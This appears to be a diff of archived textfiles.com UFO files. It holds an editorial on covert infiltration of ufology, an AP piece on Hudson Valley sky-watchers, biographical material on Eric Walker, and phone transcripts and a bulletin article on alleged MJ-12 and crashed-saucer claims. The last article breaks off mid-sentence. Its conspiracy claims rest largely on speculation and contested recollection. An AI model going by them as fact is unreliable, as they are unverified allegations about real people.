Shielded by the worn-out canard of "national security," members of an
"invisible government" maneuver undetected throughout the UFO community. In
that sense, ufology reflects the wider use of secrecy measures which are
usually inappropriate, often illegal and always antithetical to what most of
us would consider an open, principled democracy. But the distinction of
Ufology--which is already an offbeat underground of sorts--is its readymade
cushion of myth and propaganda, backed by an atmosphere of debunkery and
ridicule, which makes the so-called "cover-up" a more-or-less natural
extension of prevailing cultural attitudes about the phenomena.
Legitimate interest and research in UFO/alien _facts_ remain the purview of
a hardy and courageous and very tiny minority. The lack of legitimizing
efforts by mainstream science and media leaves ufology endlessly "out in the
cold," where decent investigators find themselves in a sea polluted with
manipulators, hoaxsters and charlatans, and no directional guide on how to
detect the "agents among us." Since the days of NICAP's overwhelming
infiltration by CIA elements, the discovery of Blue Book as little more than
hype, and the official stonewalling that still greets any sincere
questioning of government agencies by citizenry, the dangers of covert world
have only increased.
That danger is bolstered by the forth estate, when it comes to UFOs, not
minimized or exposed: UFO is still a subject which few journalists can
report on with a straight face and in a serious tone of voice. Without
grounded facts, the UFO phenomenon in general inspires false hopes and a
range of fanciful speculations, but little real reflection and fact
gathering. Why?
1. The phenomenon itself operates on the principle of deception and
secrecy.
2. Those who study the phenomenon tend to gravitate toward
information that supports their pet theories and will shut out most
anything else.
3. Ufology tends to be a petty "in-crowd" prone to fragmentation
and dissent.
4. The covert forces ensure that ufology remains in a state of
fragmentation and dissent.
5. The covert forces infiltrate the field, manipulate its members
and exploit valuable research and case material to suit their own
purposes.
And finally, the covert forces overlay the UFO community with less-
than-honorable counterintelligence "games" designed to fulfill several
purposes at once, not the least of which appears to be the implementation of
psychological warfare against vulnerable UFO researchers and witnesses.
I believe that the Billy Meier case, the Gulf Breeze events, the "Lear
material" and the entire MJ-12 imbroglio have to some degree or another been
examples of covert action by factions in the intelligence community with an
accent on counterintelligence. With MJ-12 in particular, the scent of "red
herring" and expert manipulation and diversion is POWERFUL.
I have very little to prove the above allegations. Let's just say
my intuitive self refuses to let go of this semi-paranoid
scenario.
Paranoia is justified in today's world.
One last note: the "covert forces" just may be BOTH alien and
human!
- Vicki Cooper, UFO Magazine


199
textfiles.com/ufo/vigil.ufo Normal file
View File

@@ -0,0 +1,199 @@
[From the Daily Record, Morristown, NJ -- Sunday, Nov. 20, 1988. The
Hudson Valley UFO -- a.k.a. "Big Bertha" -- is reputed not to be confined
to New York's Hudson Valley, thus the interest in Western New Jersey and
Pennsylvania, where very similar sightings have occurred around the
Delaware River and the Picatinny Arsenal. This article says more about the
local interest in N.J. than it does about the in-depth reporting and
editing skills of the A.P., unfortunately. Also, the tone is rather arch.
Any comments from Mssrs. Imbrogno, Gersten, Conti, Toscano, et al?
-- Submitted by Clark Matthews.]
UFO Watchers Scan Rural Skies ... and Wait.
By David Bauder
A.P.
PINE BUSH, N.Y. -- Clouds quickly fill the night sky, obscuring a nearly
full moon. It's not a good night to find Whatever's Out There.
Still, a half-dozen people who've parked their cars on the shoulder of a
country in New York's Hudson Valley crane their necks to scan the sky.
This is supposedly a prime area for spotting UFO activity, but the only
things visible on the cool autumn evening are airplanes banking into nearby
airports.
Peter Gersten waits suspiciously. The silver-bearded lawyer believes 99
percent of supposed UFO sightings are easily explainable, despite the
vanity license plates on his Porsche that read UFOSREAL. He's devoted
hundreds of hours to wresting UFO documents from the government in court.
Most UFO watchers are more patient than the federal government. The U.S.
Air Force canceled its surveillance program, Project Blue Book, on Dec. 17,
1969, almost five months after the Apollo 11 astronauts landed on the moon.
Dr. Edward U. Condon of the University of Colorado recommended that the
program come to an end after years of unconvincing research. But UFO
searchers persist. Victoria Lacas waits expectantly. She's mad because
most people abducted by aliens are unwilling victims, and she'd be more
than happy to submit herself to experiments.
Linda Doern waits calmly. Linda and her husband, Peter, both real estate
appraisers, admit to being fascinated by psychic and other unexplained
phenomena. An evening in Pine Bush, she jokes, "beats watching
television."
Ellen Crystall waits excitedly. The self-described UFO photographer is the
guardian of the field, where she claims to have seen aliens and dozens of
unexplained lights. She's driven to this field from her New Jersey home
hundreds of times since 1981 in the hope of making contact again.
"You missed it, Ellen," Gersten tells Crystall when her car pulls up a
half-hour later than expected. "The mother ship was here. There used to
be several more of us waiting."
Crystall dismissed the joke and checks the sky. It doesn't bode well. The
aliens, whom she suspects are building an underground base in the Hudson
Valley, don't seem to like clouds or rain, she says.
Whatever the reason, strange sightings seem commonplace in the Hudson
Valley. Hundreds of people -- not just those who go out looking for them
-- have seen things in the sky that can't be explained, says Philip
Imbrogno, author of "Night Siege: The Hudson Valley UFO Sightings."
These sightings caused a sensation in 1983 and 1984 in this area of New
York City suburbs and farmland, stretching into western Connecticut.
Reports have been less frequent since then, but still steady, Imbrogno
says.
Most, if not all, can be easily explained, says Jeff Lehman, spokesman for
the nearby Stewart International Airport. He says a group of pilots, whose
identities are not known, enjoy fooling UFO fanatics by flying in close
formation many evenings. It's not illegal, but it's annoying, he says.
"I don't see scaring people with aircraft as a game," he says.
Crystall believes. She says she saw something unusual at the cornfield off
Searsville Road, 20 miles from Middletown, soon after she was first taken
there by a magazine writer.
Gazing over a distant treeline while alone at the field one night, she
spotted what appeared to be a craft drifting slowly to the ground. After
seeing something flutter, almost like a moth, she shined a spotlight into a
wooded area. She says she saw a 3-1/2-foot-tall creature with a beige body
and huge yellow eyes staring back at her.
"This thing had a worried look on its face and it totally threw me off,"
Crystall says. "I was panic-stricken. I could not utter a sound."
The blonde music student claims to have taken 800 photographs of UFOs. She
says she holds no grudges against people who don't share her beliefs but
confides, "I try to avoid them."
At a restaurant 20 minutes from Searsville Road, Crystall's friends passed
the time waiting for dusk to turn to darkness. Ignoring quizzical looks
from a waitress, they discussed landmarks in UFO history with the sort of
insider's lingo that renders the conversation meaningless to anyone else.
Gersten, who has set up a hotline telephone number for UFO fanatics to keep
up on the gossip, says he enjoys the mystery and glamour of UFOs.
"It seems like we're prisoners on this planet and we've lost the ability to
explore," says Gersten, who fixes companions with a penetrating stare.
Most people accept that UFOs exist, he says, "because we simply can't be
the only people in the universe."
But he dismisses most reports of unexplained lights in the Hudson Valley.
Most sightings are probably conventional airplanes, he says, adding that he
has offered a reward for the mysterious group of pilots to come forward and
identify themselves.
Gersten belongs to the "government conspiracy" camp of UFO followers,
believing that secret military technology is being tested in the skies.
"Imagine a civilization 10,000 years more advanced than us," says the New
York City lawyer. "Do you think they'd come here in spaceships?"
Yes, opines Lacas, because they want to investigate the inhabitants of
Earth. The legal assistant and flower-child holdover is fascinated by the
current UFO furor over abductions, during which people are supposedly
"beamed up" by aliens for a quick examination.
For the Doerns, all aspects of the paranormal are fascinating. There's a
lot more going on in the world than meets the naked eye, Linda says, but
she understands why most people look at UFOs and psychic phenomena with
abundant skepticism.
"There are a lot of strange people involved in it," she says. "I think it
discredits it for a lot of people. It turns a lot of people off. I think
you have to look beyond them and not let it deter you."
With the airport and a unit of the Air National Guard nearby, Crawford
police are used to getting calls about strange things in the sky. Police
have never seen any hard evidence of UFOs, but they don't always have an
easy explanation for what people insist they see, McCann says [sic -- I
assume a local cop -- sloppy editing, I'd say -- C.M.]


44
textfiles.com/ufo/walker1.txt Normal file
View File

@@ -0,0 +1,44 @@
Who's Who In America : 43rd Edition : 1984-1985 : L-Z
-----------------------------------------------------
-Excerpt on Walker, Eric Arthur.
WALKER, ERIC ARTHUR, consulting engineer, institute executive;
b. Long Eaton, Eng., Apr. 29, 1910; came to U.S., 1923, naturalized
1937; s. Arthur and Violet Elizabeth (Haywood) W.; m. L. Josephine
Schmeiser, Dec. 20, 1937; children; Gail (Mrs. Peter Hearn), Brian.
B.S.,Harvard U., 1932, M.S., 1933, Sc.D., 1935; LL.D., Temple U.,
1957, Lehigh U., 1957, Hofstra Coll., 1960, Lafayette Coll., 1960, U.
Pa., 1960, U. R.I., 1962: L.H.D., Elizabethtown Coll., 1958;; D.
Litt., Jefferson Med. Coll., 1960; D.Sc., Wayne State U., 1965, Thiel
Coll., 1966, U. Notre Dame, 1968, U. Pitts., 1970. Registered profl.
engr., Pa. Instr. math. Tufts Coll., 1933-34, asst. prof., assoc.
prof. elec. engring., 1935-38, head elec. engring. dept., 1935-40, U.
Conn., 1940-43; assoc. dir. Harvard U. Underwater Sound Lab., 1942-45;
dir. Ordnance Research Lab., Pa. State U., 1945-52, head elec. engring
dept., 1945-51, dean 1951-56, v.p. univ., 1956, pres., 1956-70; v.p.
sci. and tech. Aluminum Co. Am., 1970-76; dir. Armstrong Cork Co.;
Salem Corp. Exec. sec. Research and Devel. Bd., 1950-51; cons. NRC,
1949-50; mem. and past chmn. com. on undersea warfare; chmn. Pres.'s
Com. on Tech. and Distbn. Research for Benefit of Small Bus., 1957;
mem. nat. sci. bd. NSF, 1962-68, chmn. nat. sci. bd., 1966-68; chmn.
Naval Research Adv. Com., 1963-65, 71-, Army Sci. Adv. Panel, 1956-58;
vice chmn. Pres.'s Co . Scientists and Engrs., 1956-58; adv. panel on
engring. and tech. manpower Pres.'s Sci. Adv. Com.; mem. Gov.'s Com.
of 100 for Better Edn., 1960-61; bd. dirs. Engring. Found.; chmn. bd.
Inst. for Def. Analyses. Contbr. to tech. mags. United bd. visitors
U.S. Naval Acad., 1958-60, U.S. Mil. Acad., 1962-64. Recipient Horatio
Alger award, 1959, Tasker H. Bliss award Am. Soc. Mil. Engrs., 1959;
Golden Omega award Am. Inst. E.E., and Nat. Elec. Mfg. Assn., 1962;
DoD Pub. Service medal, 1970; Presdl. citation, 1970. Fellow IEEE, Am.
Acoustical Soc., Am. Inst. E.E., Am. Phys. Soc.; mem. Am. Inst.
Physics., Am. Soc. Engring. Edn. (Lamme award 1965, pres. 1961-62),
Pa. Assn. Coll. and Univs. (pres. 1950-60), Middle States Assn. Colls.
and Secondary Schs. (commn. higher edn. 1958-61), Engrs. Joint Council
(pres. 1962-63), Nat. Assn. State Univs. and Land-Grant Colls. (exec.
com. 1958-62), Nat. Acad. Engring. (pres. 1966-70), Am. Acad. Arts and
Scis., Newcomen Soc., Royal Soc.


166
textfiles.com/ufo/walker2.txt Normal file
View File

@@ -0,0 +1,166 @@
--------------------------------------------------------------------
Note: The following is a 3 page excerpt from the paper entitled,
"UFOs, MJ-12 AND THE GOVERNMENT", which is co-authored by
researchers Grant Cameron and T. Scott Crain Jr. This brief
excerpt gives additional background information on Dr. Eric
Walker's professional activities during the last 60 yrs, along
with a short example of one of Dr. Walkers' initial responses
to correspondence from UFO researcher, William Steinman.
- Tom Mickus <<UFONET I>>
---------------------------------------------------------------------
---------------------------------------------------------------------
Enter Dr. Eric A. Walker. Dr. Walker's name was deliberately
kept secret by a small group of investigators, the authors of this
paper included, in hopes that Dr. Walker would discuss his past
association with MJ-12, the research and development hierarchy they
directed, and the set of Top Secret meetings held at Wright Patterson
Air Force Base dealing with a recovered flying saucer.
Researcher Stanton Friedman in speaking of Dr. Walker stated
"he has all the credentials" and Dr. Walker's credentials are indeed
impressive. Born in England in 1910, he received his B.S. degree in
Engineering in 1932, his M.B.A. degree in 1933 and D.Sc. degree in
1935, all from Harvard University in Cambridge, Massachusetts.
Dr. Walker taught mathematics and electrical engineering, and
for two years was chairman of the department of electrical engineering
at Tufts College. He then joined the University of Conneticut where
he taught electrical engineering and established courses for a special
war training program.
Once the U.S.A. had entered WWII, Dr. Walker joined the Under-
water Sound Laboratory at Harvard University. He was promoted to
assistant director, and then associate director, where he was in
charge of ordnance weapons. Dr. Walker had studied the industrial
use of acoustics. These studies were applied to the homing torpedo,
which was successfully used against the German submarines. For his
work Dr. Walker was awarded the Naval Ordnance Development Award, and
also a Presidential Certificate of Merit.
In 1944 Dr. Walker was a civilian with the Office of Scientific
Research and Development. In 1945 Dr. Walker was persuaded by the
Dean of Engineering at Penn State University to accept at Penn State,
the position of head of the department of electrical engineering. In
addition, the ordnance section of the Harvard Underwater Sound
Laboratory was transferred to Penn State, and became the Ordnance
Research Laboratory with Dr. Walker as director.
This move involved moving most of the staff (200) and their
families, building a laboratory building and family housing.
In 1951 Dr. Walker became Dean of Engineering and Architecture
where he directed the construction of a research reactor on the
campus. In 1956 Dr. Milton Eisenhower, then the President of Penn
State, named Dr. Walker as Vice-President. Part of Dr. Walker's job
would be to coordinate and stimulate research on the Penn State campus.
Dr. Walker's term as Vice-President would actually be minus
two days as he became President before Vice-President because of
the resignation of Dr. Eisenhower who moved to John Hopkins University.
In addition to his earned degrees, Dr. Walker has honorary
degrees from Temple, Lehigh, Hofstra, Lafayette College, University
of Pennsylvannia, University of Rhode Island, Elizabethtown College,
Jefferson Medical College, Wayne State University, Thiel College,
University of Notre Dame, and the University of Pittsburgh.
Dr. Eric Walker wrote two prize papers for the AIEE, and
was inventor of the coliolithophone which is a device for the
acoustical detection of gallstones.
Dr. Walker's awards include the Navy Distinguished Public
Service Awared; American Legion Distinguished Service Award; Fellow,
Institute of Radio Engineers; Benjamin Franklin Fellow; Fellow,
American Institute of Electrical Engineers; Fellow, Royal Society
of Arts (London); Fellow, American Physical Society; Fellow, American
Acoustical Society; Horatio Alger Award; Tasker H. Bliss Award of the
American Society of Military Engineers, Golden Omega Award of the
Electrical Insulation Industry; Lamme Award and honorary member from
the American Society for Electrical Education; the White House
Citation from President Nixon; and Department of Defense Distinguished
Public Service Medal.
Dr. Walker's professional activities include: member of the
Army's Scientific Advisory Panel, member and chairman of the Naval
Research Advisory Committee, Vice-Chairman of the President's
Committee for Scientists and Engineers, member and former Chairman
of the National Research Council's Committee on Undersea Warfare,
Executive Secretary of the former Research and Development Board,
Chairman of the National Science Foundation's Committee for
Engineering; Chairman, Engineering College Research Council;
President, Engineers Joint Council; appointed in 1957 by President
Dwight Eisenhower as General Chairman of the Conference on Technical
and Distribution Research for the Benefit of Small Business; member
of the board of visitors, Naval Academy; member of the board of
visitors, U.S. Military Academy; trustee for the Institute for
Defense Analysis starting in 1958; elected to the chairman of the
board at IDA in 1981, retiring in 1986 to become Chairman Emeritus;
President Pennsylvania Association of Colleges and Universities;
member, Advisory Committee on Higher Education; member, Commission
on Higher Education of the Middle States Association of Colleges
and Schools: Vice-President and President of the American Society
for Engineering Education, Chairman National Science Board of The
National Science Foundation.
Dr. Walker was one of the founding members of the National
Academy of Engineering. He served as Vice-President and President.
He was a member of the Board of the Engineering Foundation; member
of the board of trustees, Science Service; President, Commonwealth
Industrial Research Corp; Board of Directors, Mid-State Bank and
Trust Company; Board of Directors, Girard Trust Company; Board of
Directors, Westinghouse Air Brake Co.; Chairman, Board of Directors,
Melpar, Inc.; consultant on research and engineering to Koppers Corp.,
Borg-Warner, Bendix Aviation, Hughes Aircraft, IBM, and others.
Dr. Walker initiated the Conference on The Administration of
Research in 1947. He has published numerous articles in various
periodicals and co-authored a book entitled "The Physical Bases of
Electrical Engineering". Dr. Walker wrote a column for "The Center
Daily Times" in the early 70's. Dr. Walker directed a nation wide
study for the ASEE on the "Goals of Engineering Education."
Dr. Walker's first reference to UFOs came in a speech he
made in 1969 at the Franklin Lectures (Approaching the Benign
Enviroment, Eric A. Walker, Franklin Lectures in the Science and
Humanities, First series, @1970 lectures April 1969 at Auburn U.)
"We will soon spend millions to probe the
atmosphere of Venus and Mars, while here
on earth it remains polluted with dust and
heat with which we cannot cope. Indeed it
may be a good thing that ships from another
planet are not sampling our atmosphere - the
conclusion might be that life cannot possibly
exist on earth."
Researcher William Steinman was not given Walker's phone
number by researcher Stanton Friedman, so his first attempt to
contact Dr. Walker came in the form of a letter, dated March 19,
1984. He got a response, but not what he expected. Steinman
explained how Dr. Walker responded in a letter to Grant Cameron,
dated September 8, 1987.
Steinman writes:
"The answer to my correspondence was very strange;
it stated "STOP! DON'T TRY TO FIND ME I CAME ON
THAT MACHINE I WILL LEAVE MAY 15 ERGOT QUIET QUIET
QUIET." The above was typed on the lower portion
of my letter that I sent to Walker, as evidence by
my signature and "very sincerely yours." My return
address was cut from the upper portion of my own
letter to Dr. Walker and was taped to the front of
his stamped envelope to me!"
------------------------------------------------------------------
------------------------------------------------------------------


111
textfiles.com/ufo/walker3.txt Normal file
View File

@@ -0,0 +1,111 @@
---------------------------------------------------------------------
Note: The following is an excerpt from Grant Cameron and T. Scott
Crain Jr.'s research paper entitled, "UFOs, MJ-12 AND THE
GOVERNMENT". It is a transcript of a phone conversation.
I have personally spoken with Steinman, and received assurances
that Walker's replies are accurate. The transcript was made
within 10 minutes of the phone call, and was not taken from
an audio tape.
- Tom Mickus <<UFONET I>> 8/12/89
---------------------------------------------------------------------
---------------------------------------------------------------------
This telephone interview took place on August 30, 1987 between
William Steinman of La Mirada, California, and Dr. Eric Walker
of State College, Pennsylvania.
Walker: Hello.
Steinman: Hello...this is William Steinman of Los Angeles,
California. I am calling in reference to the meetings
that you attended at Wright-Patterson Air Force Base
in around 1949-1950, concerning the military recovery
of Flying Saucers, and bodies of occupants.
Dr. Robert I. Sarbacher (now deceased) related this to
me. You and Sarbacher were both consultants to D.R.B.
in 1950, you were secretary 1950-51.
Walker: Yes, I attended meetings concerning that subject matter;
why do you want to know about that?
Steinman: I believe it is very important subject. After all, we
we are talking about the actual recovery of a flying
saucer (spacecraft) not built or constructed on this
earth! And furthermore, we are talking about bodies of
the occupants from the craft who were analyzed human-like
beings not of this world!
Walker: So...what's there to get all excited about? Why all the
concern?
Steinman: I am not excited, just very concerned. Here we are
talking about a subject that the U.S. Government
officially denies, even going to the extent of actually
debunking the evidence and discrediting the witnesses.
Then you sit there and say, "What's there to get all
excited about?" and "why all the concern."
Dr. Vannevar Bush, Dr. D.W. Bronk, and others thought it
was very important and were concerned enough to classify
the subject ABOVE TOP SECRET, in fact the most highly
classified subject in the U.S. Government!!
Did you ever hear of the "MJ-12 Group" and there "Project
Majestic-12" which was classified as TOP_SECRET/MAJIC?
I have a copy of President elect D.D. Eisenhower's
briefing paper on that project, dated November 18, 1952.
Walker: Yes, I know of MJ-12. I have known of them for 40 years.
I believe that you're chasing after and fighting with
windmills!!
Steinman: Why do you say that?
Walker: You are delving into a area that you can do absolutely
nothing about. So, why get involved with it or all
concerned about it? Why don't you just leave it alone
and drop it? Forget about it!!
Steinman: I am not going to drop it. I am going all the way with
this!!
Walker: Then...when you find out everything about it, what are
you going to do?
Steinman: I believe that this entire matter has to be brought to
the public's attention. The people should know the
truth!!
Walker: It's not worth it! Leave it alone!!
Steinman: Can you remember any of the details pertaining to the
recovery operations and subsequent analysis of the
saucers and bodies?
Walker: I am sure that I have notes concerning those meetings
at Wright-Patterson Air Force Base. I would have to
dig them out and read them over in order to jog my
memory.
Steinman: If I write you a letter, will you please answer in as
much detail as you can remember. Furthermore, could
you please xerox those notes for me and send me a copy?
Walker: I might. At least I will keep your letter, will dig
out my notes, and contemplate answering. That's the
best I can say for now.
Steinman: Well, Dr. Walker, I will write a letter as soon as
possible. Thanks for your valuable time. Good-bye.
Walker: Goodbye.
----------------------------------------------------------------------
----------------------------------------------------------------------


202
textfiles.com/ufo/walker4.txt Normal file
View File

@@ -0,0 +1,202 @@
------------------------------------------------------------------------
Note: The following is a transcript of a phone conversation between
Tom Mickus and Dr. Eric Walker which took place at approximately
10:30am on the morning of August 11, 1989. One word of caution,
a transcript of course is not the same as hearing it first-hand.
Tone and emphases of speech are not reproduced here, nor are
things such as pauses between responses recorded. Therefore
those who read the following should be aware of such deficiencies
before coming to any conclusions.
------------------------------------------------------------------------
<SECRETARY> "Good morning, Dr. Walker's office."
<MICKUS> "Yes, would Dr. Walker be in?"
<SECRETARY> "Yes he is, may I tell him who's calling?"
<MICKUS> "Yes, this is Tom Mickus phoning, I called yesterday."
<SECRETARY> "Tom Mickus?"
<MICKUS> "Yes."
<SECRETARY> "Okay, and what company are you with please?"
<MICKUS> "Actually I'm a university student."
<SECRETARY> "Okay, just a minute please."
<MICKUS> "Thank you."
(20 second pause)
<WALKER> "Hello?"
<MICKUS> "Hello, Mr. Walker?"
<WALKER> "Yep."
<MICKUS> "Yeah, my name is, allow me to introduce myself, my name is
Tom Mickus, I'm a university student here in Toronto, at the
University of Toronto.
<WALKER> "Yep."
<MICKUS> "And I'm phoning from Toronto right now. I'm also a reporter
with a computer BBS network. And just recently, actually two
days ago, we came into possession of a just released
research paper. It was put out by researchers Grant Cameron
and T. Scott Crain. You may be familiar with them? The
subject matter is quite controversial. The report itself is
180 pages and approximately 80 pages deal with yourself and
some of the reputed statements that you've made, etc. And
I'm just wondering if you'd be interested in making a comment
about the veracity of some of those statements.
<WALKER> "I'm not sure I know what you're talking about."
<MICKUS> "Okay, well..."
<WALKER> "Tell me a little bit more."
<MICKUS> "Yeah, do you remember corresponding with someone by the
name of William Steinman?"
<WALKER> "No."
<MICKUS> "...from California."
<WALKER> "No."
<MICKUS> "Or Scott Crain, he supposedly lives close to you there in
Pennsylvania?"
<WALKER> "You know, I know nothing about this. I'm... Have you got
the right Walker, that's the problem <slight laugh>.
<MICKUS> "Well, you're the former President of Penn State University?"
<WALKER> "That's correct."
<MICKUS> "Yes, and you do have a very distinguished background I might
say, just from some of the material thats been released. So, I
guess assuming this is the right Walker, apparently you've
admitted to in the past when dealing with some of these
gentlemen, if you maybe forget them (now), about attending
Research & Development Board meetings in the early 50's,
back when you were a dollar-a-year man. Is that substantially
correct?
<WALKER> "Well I, huh <slight laugh>, the early 50's you know is many
years ago and I attended a lot of meetings. Which one was
this supposed to be?
<MICKUS> "I believe this was centered at the Wright-Patterson.
Apparently it was to deal with, sensational as it is, crashed
flying vehicles of some sort, UFOs if you want to say that.
And, like I say, I know its many years ago, but apparently
in a phone conversation with William Steinman, he has it down
that you admitted attending some of those meetings. Indeed,
it was the late Robert Sarbacher actually pointed you out as
the person who attended all of those meetings. Now I know
that's some 40 yrs ago now. Did you have any comment on that?
<WALKER> "(garbled)...well I did attend a lot of meetings, but I can't
remember any substantive conclusions or anything like that.
<MICKUS> "Right, and as far as what was discussed there?"
<WALKER> "As far as the what?"
<MICKUS> "What was discussed, the topic, the subject matter of those
meetings?"
<WALKER> "No, I couldn't remember that at all."
<MICKUS> "But, you're saying that it had nothing to do with UFOs or
alien bodies, or anything like this?"
<WALKER> "Well I don't have any alien bodies in my office, I can tell
you that."
<MICKUS> "Well, its quite extraordinary that this paper has come out,
right now its in limited circulation and due to the computer
network that I'm associated with, I've managed to obtain a
copy. And, like I say, approximately 80 pages deals with
material centered around yourself..."
<WALKER> "Hmm."
<MICKUS> "...and, I'm just interested if you'd be interested in seeing
some of this, if I could come down and meet you for instance?
And you could see some of this stuff first-hand, and comment
on it."
<WALKER> "Well, I don't think that would be very useful; you might
want to send it to me, and I'll see if it reminds me of
anything."
<MICKUS> "Un huh. I guess being, ..from my own disposition here with
the Network and stuff, I'd be interested in trying to get a
reaction about some of this because..if these authors have
engaged in a bit of a fantasy, well then I would like to
expose that."
<WALKER> "What's the Network, I don't understand."
<MICKUS> "Its a fairly modest undertaking, but its a group of Bulletin
Board Systems linked up here in Canada and in the United
States, and that's something which I run, and this subject
matter is one of the things we primarily discuss. And so,
that's why I'd take the time to talk with you, and come visit
you if you wouldn't mind, and get a more in-depth response.
<WALKER> "Well, you know <slight laugh>, this sounds to me like an
awful waste of time and...if people want to diddle around
that way, I say let them diddle, but don't involve me."
<MICKUS> "Right..."
<WALKER> "I just don't have time for such crap."
<MICKUS> "Now, just the fact that they spent so much time in this
paper...like I say, the paper is 180 pages, the title is
'UFOs, MJ-12 AND THE GOVERNMENT', and...I mean would you
have any reaction as to why they would place you in that
context?"
<WALKER> "Well I'll tell ya, I'll get interested when I see one of
of those little green men they talk about. Until they do,
I just couldn't spend any time on it."
<MICKUS> "So, therefore you deny ever having any relationship whatsoever
in your earlier government dealings with the discussion of UFOs
or alien bodies, anything like that, you deny that was part of
the Research & Development Board meetings and subsequent
activities that you may have been involved with?"
<WALKER> "<slight laugh> You know, you're just wasting your time and
money, and I'm sorry but I've got other things to do."
<MICKUS> "Okay, but if I could just get an on the record comment,
response from you on that, because I don't know, I think you
may be hearing more about this because if this thing gets
in wide circulation you may have other people knocking on
your door trying to get a reaction."
<WALKER> "I don't have any reaction, I'm sorry."
<MICKUS> "Do you deny it?"
<WALKER> "Thank you."
<MICKUS> "Mr. Walker..."
<click>


206
textfiles.com/ufo/walker5.txt Normal file
View File

@@ -0,0 +1,206 @@
====================================================
Note: The following article is to appear in this
month's issue of the CUFORN Bulletin.
====================================================
In last month's _Bulletin_, Larry Fenwick
brought out some tantalizing details involving the
possible involvement of Dr. Eric Walker with the
study and analysis of a crashed UFO, with probable
alien occupants, during the early 1950's. Since
that article was published, more information has
come to light, particulary with the long awaited
publication of researcher's Grant Cameron and T.
Scott Crain Jr.'s "Preliminary Report Of The
Government's Involvement Into UFO Crash Retrievals"
entitled, "UFOs, MJ-12 AND THE GOVERNMENT". This
research paper is now in limited circulation amongst
a handful of interested parties. I'm grateful that
the UFONET BBS Network was also sent a copy. I
have read it, and what follows is in part, both an
assessment, and a recap of some of the highlights.
Soon the paper will be ready for public distribution,
so it won't be long before you can read and assess
it for yourself.
Dr. Eric Walker has an impressive background,
and one which would make even Stanton Friedman envious
of. He's listed in certain "Who's Who" type compendiums,
so a quick visit to the Library might be in order for
those of you wishing to see a chronological listing of
this man's accomplishments. Credit for "discovering"
him goes to Bill Steinman, co-author of "UFO Crash At
Aztec". It was in a phone conversation with the late
Dr. Robert Sarbacher (of Wilbur Smith memo fame), that
Steinman got the break he needed in order to crack the
identity of another one of those scientists who attended
the Research & Development Board meeetings in the early '50s,
within the time frame of the much hypothesized UFO
crash/retrievals which were said to have occurred back then.
Sarbacher, not remembering the name, alluded to
a prominent individual from Pennsylvannia who, unlike
himself, attended all of the Research and Development
Board meetings held at Wright Field. Shortly thereafter,
in response to an inquiry by Steinman, he received a
letter from Fred Darwin, Executive Director of the Guided
Missile Committee for the Dept. of Defense's Research &
Development Board from 1949 to 1954. In the letter, six
names were listed as possible candidates for a "hypothesized"
Flying Saucer recovery operation. The list was composed in
early 1984, before the release of the controversial MJ-12
documents. Five of the names matched names on the yet to
be released MJ-12 listing. One name didn't, that of Eric
Arthur Walker...the person who most definitely fit the
description given by Sarbacher. Later research revealed
that Walker was at one time the Executive Secretary for
the Research and Development Board during the time in question.
Along with other influential positions held by
Walker, one of the most prominent, and secretive, concerns
his relationship with the "Institute for Defense Analysis",
of which Paul Dickson, author of "Think Tanks" had this to
say, "In the hierarchy of military tanks, none ranks higher
than the Institute for Defense Analysis (IDA)." Walker
joined in 1958, and never looked back. He was elected
chairman to the IDA in 1981, and became Chairman Emeritus
in 1986, upon his official retirement. So, what is most
problematic when it comes to trying to get Walker to talk,
is that not only is this man privy to UFO secrets, but
countless military secrets as well, which in this instance
are no doubt viewed as one and the same.
However, Walker is most vunerable when it comes to
his involvement in the early '50s, before the "security lid"
started to clamp down on this subject. From the Cameron/Crain
research paper, we learn little of what Walker's possible UFO
related activities were in the period after this, although
there is speculation. From their research, it is clear
that if Walker were to be involved in the aftermath of a UFO
crash, and possible U.S. government study thereof, he was in
the right places at the right times. Along with this, there
is the body of material, consisting of phone conversations and
letter exchanges, between Walker and certain UFO researchers,
the primary one being of course Steinman.
Most damning, are Walker's admissions to Steinman (in a
phone conversation written down 10 minutes after the call) that
he knew of MJ-12. Says Walker, "Yes, I know of MJ-12. I have
known of them for 40 years. I believe that you're chasing after
and fighting with windmills!!". Along with this, its become
apparent that Walker is engaged in playing a most peculiar
"game" of some sort. One letter of Steinman's was returned
by Walker with this statement type-written at the end of his
letter, "STOP!DON'T TRY TO FIND ME I CAME ON THAT MACHINE I
WILL LEAVE MAY 15 ERGOT QUIET QUIET QUIET". Another letter
was returned with numerals inscribed on top of various letters
throughout. This is the so-called "code letter". Another
piece of documentary evidence, is the type-written letter by
Walker to Steinman, signed by Walker, describing how 4 alien bodies
were recovered, alive, from a downed UFO. However, this is so
sensationally written that
researchers Cameron and Crain have labelled this as a poor
attempt at disinformation...or perhaps a continuation of Walker's
"game" with the researchers.
However, in the past year or so, Walker seems to have
have taken a new tact. Over the phone, he now denies _ever
even knowing who Steinman is_. This occured in a Dec/88 call
to Walker by Steinman. Walker had evidently clammed up, and
was now even trying to deny ever having dealt with Steinman,
let alone the allegations relating to his UFO involvement. Something
indeed strange is going on. Most recently, I learned that a
photo-copy of the original "code letter" was mailed to researcher
Scott Crain in a SASE Crain provided in a much earlier letter
sent to Walker. Evidently, the "game" has resumed.
Crain received this in late August, after I had spoken
with Walker himself in a phone conversation on August 11th.
Although cordial throughout, Walker lived up to his billing as
both evasive in answering questions, and one who it seems,
experiences convenient memory loss. Witness the following
exchange, which took place mid-way through our phone conversation:
<WALKER> "(garbled)...well I did attend a lot of meetings,
but I can't remember any substantive conclusions
or anything like that."
<MICKUS> "Right, and as far as what was discussed there?"
<WALKER> "As far as the what?"
<MICKUS> "What was discussed, the topic, the subject matter
of those meetings?"
<WALKER> "No, I couldn't remember that at all."
<MICKUS> "But, you're saying that it had nothing to with
UFOs or alien bodies, or anything like this?"
<WALKER> "Well I don't have any alien bodies in my office,
I can tell you that."
In his own limited conversations with Walker back in 1984,
Stanton Friedman referred to Walker as "cagey and careful", and
stated that "My reaction to how he answered the various questions
was that he knew a great deal". Five years later, I concur.
Currently underway, researchers Cameron and Crain are
trying to enlist the aid of several media outlets, including some
within Pennsylvannia itself. Sadly, and not surprisingly, in the
hands of the media, their report is going nowhere fast. At this
point, most promising in this regard, is the involvement of a slick
on-campus magazine, who currently are sitting on this story, and
if all goes according to plan, will confront Walker in the next
couple of weeks. Both UFONET, and CUFORN will be following all
the developments as they occur, and will be updating this in the
next issue of the _CUFORN Bulletin_.
So far, I've only touched on a few of the facts, made
clear in the Cameron/Crain report. However, I would be amiss
if I didn't mention that their report covers more than just
the story of Eric Walker, which takes up about 80 pp. There
are also interesting pieces of information, also related to
Walker, describing the U.S. military/intelligence complex.
And along with information on DARPA, the Jason Group, and
